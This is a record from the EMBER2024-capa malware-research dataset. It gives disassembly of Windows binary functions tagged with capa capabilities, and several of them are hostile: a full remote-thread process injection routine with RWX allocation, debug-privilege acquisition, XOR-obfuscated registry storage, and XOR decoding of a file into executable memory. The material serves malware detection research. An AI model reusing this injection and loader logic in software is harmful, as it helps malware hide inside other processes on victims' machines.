joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2d9e3cb470
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov qword [rcx + 8], rdx
lea rax, [0x2d9e408cf8]
mov qword [rcx], rax
xor r9d, r9d
mov qword [rdx + 0x68], rcx
mov rbx, rdx
mov rdi, rcx
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x10], rax
lea rcx, [rdi + 0x30]
lea rax, [0x2d9e4098e0]
mov qword [rdi], rax
call fcn.2d9e3b2960
xor esi, esi
mov byte [rdi + 0x144], 1
xor r9d, r9d
mov qword [rdi + 0x1c], rsi
xor r8d, r8d
mov qword [rdi + 0x138], rsi
xor edx, edx
mov qword [rdi + 0x148], rsi
xor ecx, ecx
mov dword [rdi + 0x140], 0x3f
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x28], rax
test rax, rax
jne 0x2d9e3cb53b
mov dword [rdi + 0x18], esi
mov rcx, qword [rbx + 0x38]
mov dword [rbx + 0x78], 1
test rcx, rcx
jne 0x2d9e3cb522
mov rcx, qword [rbx + 0x40]
test rcx, rcx
je 0x2d9e3cb5ae
add rcx, 8
mov rax, qword [rcx]
call qword [rax + 8]
mov rax, rdi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
lea rax, [0x2d9e3cb9d0]
mov dword [rdi + 0x18], 1
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor edx, edx
mov byte [rsp + 0x40], 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rsi
lea r8, [0x2d9e3c8af0]
mov qword [rsp + 0x48], rax
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call fcn.2d9e3e4db4
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 0x138], rbx
mov rbx, qword [rsp + 0x60]
mov rax, rdi
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x2d9e3cbbd0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
push rdi
push r14
sub rsp, 0x70
mov edi, ecx
mov r14, r8
lea rcx, [0x2d9e407900]
mov rsi, rdx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e409d30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x2d9e3cbdf9
lea r9, [rsp + 0xa8]
xor r8d, r8d
lea edx, [rbx + 1]
lea ecx, [rbx + 0x14]
call rax
test eax, eax
js 0x2d9e3cbe06
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x2d9e3cbe06
mov r9d, 0x3000
mov qword [rsp + 0x90], rbp
mov r8, r14
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x2d9e3cbdd5
lea rax, [rsp + 0x68]
mov r9, r14
mov r8, rsi
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x2d9e3cbdc0
cmp qword [rsp + 0x68], r14
jne 0x2d9e3cbdc0
call fcn.2d9e3c9420
test eax, eax
jne 0x2d9e3cbcd7
mov qword [rsp + 0x30], rbx
mov r9, rbp
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
jne 0x2d9e3cbda6
lea rcx, [0x2d9e407900]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e4098f8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x2d9e3cbd38
mov qword [rsp + 0x48], rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
xor r9d, r9d
mov qword [rsp + 0x38], rbx
xor r8d, r8d
mov qword [rsp + 0x30], rbp
xor edx, edx
mov qword [rsp + 0x28], rbx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x60], rbx
call rax
mov rsi, qword [rsp + 0x60]
test rsi, rsi
jne 0x2d9e3cbda6
lea rcx, [0x2d9e407900]
mov qword [rsp + 0xa8], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x2d9e409910]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x2d9e3cbd96
mov qword [rsp + 0x50], rbx
lea rcx, [rsp + 0xa8]
mov dword [rsp + 0x48], ebx
mov r9, rdi
mov dword [rsp + 0x40], ebx
xor r8d, r8d
mov dword [rsp + 0x38], ebx
mov edx, 0x1fffff
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbp
call rax
mov rax, qword [rsp + 0xa8]
mov rsi, rax
test rax, rax
je 0x2d9e3cbdc0
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov r9d, 0x4000
mov r8, r14
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x90]
mov eax, ebx
mov rbx, qword [rsp + 0x98]
add rsp, 0x70
pop r14
pop rdi
pop rsi
ret
call fcn.2d9e3cdbb0
test eax, eax
jne 0x2d9e3cbc28
xor eax, eax
mov rbx, qword [rsp + 0x98]
add rsp, 0x70
pop r14
pop rdi
pop rsi
ret
Function at 0x2d9e3cbe20
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x2d0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov rax, rdx
mov rdi, rcx
xor esi, esi
lea rdx, [rsp + 0x60]
mov dword [rcx], esi
mov rcx, rax
call fcn.2d9e3c9800
lea r8, [rsp + 0x60]
lea rdx, [0x2d9e409950]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov ebp, 1
lea r9, [rsp + 0xb0]
mov edx, ebp
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 8], rax
test rax, rax
je 0x2d9e3cbf76
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x2d9e3cbeb6
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov dword [rdi + 4], ebp
jmp 0x2d9e3cbf80
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
add eax, 0x13c
lea r8, [rsp + 0x60]
lea rdx, [0x2d9e407f00]
mov dword [rsp + 0x50], eax
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x40], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0xb0]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x58], rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x2d9e3cbf76
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 4
lea rdx, [0x2d9e407f34]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x300], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
mov ebx, esi
test eax, eax
cmove ebx, ebp
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
mov rbx, qword [rsp + 0x300]
jne 0x2d9e3cbf78
mov dword [rdi], ebp
cmp dword [rdi], esi
sete sil
mov eax, esi
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x2d0
pop rdi
pop rsi
pop rbp
ret
Function at 0x2d9e3cbfa0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x2c0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
lea rdx, [rsp + 0x50]
call fcn.2d9e3c9800
xor ebx, ebx
mov dword [rsp + 0x34], 4
lea r8, [rsp + 0x50]
mov dword [rsp + 0x30], ebx
lea rdx, [0x2d9e407f00]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, dword [rsp + 0x34]
lea rcx, [rsp + 0x30]
xor edx, edx
call fcn.2d9e3e3840
lea rax, [rsp + 0x38]
mov qword [rsp + 0x38], rbx
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0xa0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x2d9e3cc0d2
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
lea rax, [rsp + 0x30]
xor r8d, r8d
lea rdx, [0x2d9e407f34]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov ecx, 1
cmove ebx, ecx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x2d9e3cc0d2
mov ecx, dword [rsp + 0x30]
add ecx, 0xfffffec4
mov dword [rsp + 0x30], ecx
lea eax, [rcx - 0x1fffffff]
test eax, 0xefffffff
je 0x2d9e3cc0f1
lea r8, [rsp + 0x50]
lea rdx, [0x2d9e409950]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rsp + 0xa0]
xor edx, edx
mov ecx, 0x1f0003
call qword [sym.imp.KERNEL32.dll_OpenEventW]
test rax, rax
je 0x2d9e3cc0ef
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x2c0
pop rbx
ret
jmp 0x2d9e3cc0d6
mov eax, ecx
jmp 0x2d9e3cc0d6
Function at 0x2d9e3cc100
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x2b0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x2c8], rsi
lea rdx, [rsp + 0x40]
mov rsi, rcx
lea rcx, [0x2d9e409778]
call fcn.2d9e3c9800
lea r8, [rsp + 0x40]
lea rdx, [0x2d9e407f00]
lea rcx, [rsp + 0x90]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x38]
mov r9d, 0x20119
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x90]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
jne 0x2d9e3cc23b
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
mov qword [rsp + 0x2d0], rdi
lea rdx, [0x2d9e407f34]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x30], ebx
mov edi, ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x2d9e3cc225
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x2d9e3cc225
mov ecx, eax
call fcn.2d9e3da838
mov rdi, rax
test rax, rax
je 0x2d9e3cc225
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
lea rdx, [0x2d9e407f34]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x2d9e3cc21a
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x2d9e3cc21a
cmp dword [rsp + 0x34], 3
jne 0x2d9e3cc21a
test rsi, rsi
je 0x2d9e3cc225
mov dword [rsi], eax
jmp 0x2d9e3cc225
mov rcx, rdi
call fcn.2d9e3da7f4
mov rdi, rbx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, rdi
mov rdi, qword [rsp + 0x2d0]
mov edx, dword [rsi]
mov rsi, qword [rsp + 0x2c8]
cmp edx, 1
jbe 0x2d9e3cc28f
movzx eax, byte [rbx]
dec edx
xor byte [rdx + rbx], al
add edx, 0xffffffff
je 0x2d9e3cc285
mov r8d, edx
lea r9d, [rdx + 1]
add r8, rbx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r9 + rbx]
lea r9d, [r9 - 1]
xor byte [r8], cl
lea r8, [r8 - 1]
add edx, 0xffffffff
jne 0x2d9e3cc270
lea ecx, [rdx + 1]
movzx ecx, byte [rcx + rbx]
xor byte [rdx + rbx], cl
mov rax, rbx
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x2b0
pop rbx
ret
Function at 0x2d9e3cc2b0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x2d0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov esi, edx
mov rdi, rcx
call fcn.2d9e3c8bf0
lea rdx, [rsp + 0x60]
lea rcx, [0x2d9e409778]
call fcn.2d9e3c9800
lea r8, [rsp + 0x60]
lea rdx, [0x2d9e407f00]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_wsprintfW]
xor ebx, ebx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rbx
lea rdx, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0xf013f
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x50], rbx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x2d9e3cc386
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 3]
mov dword [rsp + 0x28], esi
lea rdx, [0x2d9e407f34]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov ecx, 1
cmove ebx, ecx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.2d9e3da7d0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x2d9e3cc3b0
Capabilities:
Allocate or change rwx memory
Get file size
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r15
sub rsp, 0x40
xor ebx, ebx
mov edi, r8d
mov dword [rsp + 0x70], ebx
mov rax, rdx
mov dword [rsp + 0x88], ebx
mov r12, rcx
mov esi, ebx
test rcx, rcx
je 0x2d9e3cc3db
mov dword [rcx], ebx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x2d9e3cc5a2
mov qword [rsp + 0x78], rbp
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x80], r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
mov r14d, ebx
cmp eax, 1
jb 0x2d9e3cc58c
cmp edi, 1
jne 0x2d9e3cc47d
lea r9, [rsp + 0x88]
mov qword [rsp + 0x20], rbx
lea r8d, [rdi + 3]
mov rcx, r15
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x2d9e3cc58c
mov edi, dword [rsp + 0x70]
cmp edi, ebp
jbe 0x2d9e3cc4e5
add edi, 0xff37c8d6
mov r14d, 1
mov dword [rsp + 0x70], edi
jmp 0x2d9e3cc4e5
cmp edi, 2
jne 0x2d9e3cc4e3
lea r9, [rsp + 0x88]
mov qword [rsp + 0x20], rbx
lea r8d, [rdi + 2]
mov rcx, r15
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x2d9e3cc58c
mov edx, dword [rsp + 0x70]
cmp edx, ebp
jbe 0x2d9e3cc4bf
add edx, 0xff37c8d6
lea r14d, [rdi - 1]
mov dword [rsp + 0x70], edx
mov edi, ebp
sub edi, edx
sub edi, 4
cmp edi, 1
jb 0x2d9e3cc58c
add edx, 4
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x2d9e3cc4e5
mov edi, ebp
xor ecx, ecx
mov edx, edi
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x2d9e3cc58c
lea r9, [rsp + 0x88]
mov qword [rsp + 0x20], rbx
mov r8d, edi
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x2d9e3cc58c
mov edx, dword [rsp + 0x88]
cmp edx, edi
je 0x2d9e3cc546
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, rbx
jmp 0x2d9e3cc58c
test r14d, r14d
je 0x2d9e3cc574
cmp edx, 1
jbe 0x2d9e3cc574
test edx, edx
je 0x2d9e3cc574
mov rax, rsi
test bl, 1
jne 0x2d9e3cc561
xor byte [rax], 0xa7
jmp 0x2d9e3cc564
xor byte [rax], 0x6a
inc ebx
inc rax
cmp ebx, edx
jb 0x2d9e3cc557
mov edx, dword [rsp + 0x88]
mov rcx, rsi
call fcn.2d9e3c8cb0
test r12, r12
je 0x2d9e3cc58c
mov eax, dword [rsp + 0x88]
mov dword [r12], eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rax, rsi
add rsp, 0x40
pop r15
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x2d9e3cce70
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
test rcx, rcx
je 0x2d9e3ccf6e
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x2d9e3ccf61
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [0x2d9e416420], bl
lea rdx, [0x2d9e416420]
jne 0x2d9e3ccf31
movdqa xmm2, xmmword [0x2d9e40a090]
lea rcx, [0x2d9e416430]
mov eax, ebx
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x10]
add eax, 0x20
lea rcx, [rcx + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rcx - 0x30], xmm0
movdqu xmm1, xmmword [rcx - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rcx - 0x20], xmm1
cmp eax, 0x1800
jb 0x2d9e3ccef0
jmp 0x2d9e3ccf31
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov r8d, 0x1800
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
mov ecx, 1
cmovne ebx, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rdi, qword [rsp + 0x58]
add rsp, 0x40
pop rbx
ret
mov eax, ebx
add rsp, 0x40
pop rbx
ret
Function at 0x2d9e3cd7e0
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x2a0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x290], rax
xor ebx, ebx
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], ebx
call fcn.2d9e3cc100
mov rsi, rax
test rax, rax
je 0x2d9e3cd8cf
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x2b0], rdi
lea rcx, [0x2d9e409ca0]
call fcn.2d9e3c9800
lea r8, [rsp + 0x30]
lea rdx, [0x2d9e409950]
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [rsp + 0x80]
xor ecx, ecx
lea edx, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rdi, rax
test rax, rax
je 0x2d9e3cd882
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x2d9e3cd882
or edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
call fcn.2d9e3ccf80
test eax, eax
jne 0x2d9e3cd8a8
nop dword [rax]
mov ecx, 5
inc ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, ebx
call fcn.2d9e3ccf80
test eax, eax
je 0x2d9e3cd890
test rdi, rdi
je 0x2d9e3cd8bf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.2d9e3da7f4
mov rdi, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.2d9e3da7d0
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x2a0
pop rsi
ret

Function at 0x2d9e3cd980
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ecx, ecx
mov word [rsp + 0x74], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], ecx
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov dword [rsp + 0x48], ecx
mov dl, 1
mov dword [rsp + 0x40], ecx
lea r8d, [rcx + 0x12]
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x70], ecx
lea rcx, [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x2d9e3cd9fe
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x88
ret
Function at 0x2d9e3cda20
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov dword [rsp + 0x70], 0
lea rax, [rsp + 0x68]
mov word [rsp + 0x74], 0x500
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x2d9e3cdab8
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove ecx, ebx
mov dword [rsp + 0x60], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x80
pop rbx
ret

Function at 0x2d9e3cdbb0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x27]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x2d9e3cdbf8
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x50
pop rbx
ret
lea r8, [rsp + 0x3c]
mov qword [rsp + 0x60], rdi
lea rdx, [0x2d9e409a38]
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov dword [rsp + 0x44], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
xor edi, edi
xor edx, edx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9d, [rdi + 0x10]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x30]
test eax, eax
cmovne ebx, edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x60]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.2d9e3da7d0
add rsp, 0x50
pop rbx
ret
Function at 0x2d9e3cdd30
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x2d9e415008]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor edx, edx
mov r8d, 0x190
mov rbx, rcx
call fcn.2d9e3e3840
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x30], 0x190
lea rcx, [0x2d9e409778]
call fcn.2d9e3c9800
lea r8, [rsp + 0x50]
lea rdx, [0x2d9e407f00]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rbx
xor edi, edi
call fcn.2d9e3e3840
lea rax, [rsp + 0x38]
mov qword [rsp + 0x38], rdi
mov r9d, 0x20119
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0xa0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x2d9e3cde66
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea rdx, [0x2d9e407fc4]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
mov esi, 1
test eax, eax
cmove edi, esi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x2d9e3cde66
mov ecx, dword [rsp + 0x30]
cmp ecx, esi
jbe 0x2d9e3cde62
movzx eax, byte [rbx]
dec ecx
xor byte [rcx + rbx], al
add ecx, 0xffffffff
je 0x2d9e3cde55
mov r8d, ecx
lea r9d, [rcx + 1]
add r8, rbx
nop
movzx edx, byte [r9 + rbx]
lea r9d, [r9 - 1]
xor byte [r8], dl
lea r8, [r8 - 1]
add ecx, 0xffffffff
jne 0x2d9e3cde40
mov r8d, ecx
inc ecx
movzx ecx, byte [rcx + rbx]
xor byte [r8 + rbx], cl
mov eax, esi
jmp 0x2d9e3cde68
xor eax, eax
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.2d9e3da7d0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x18]
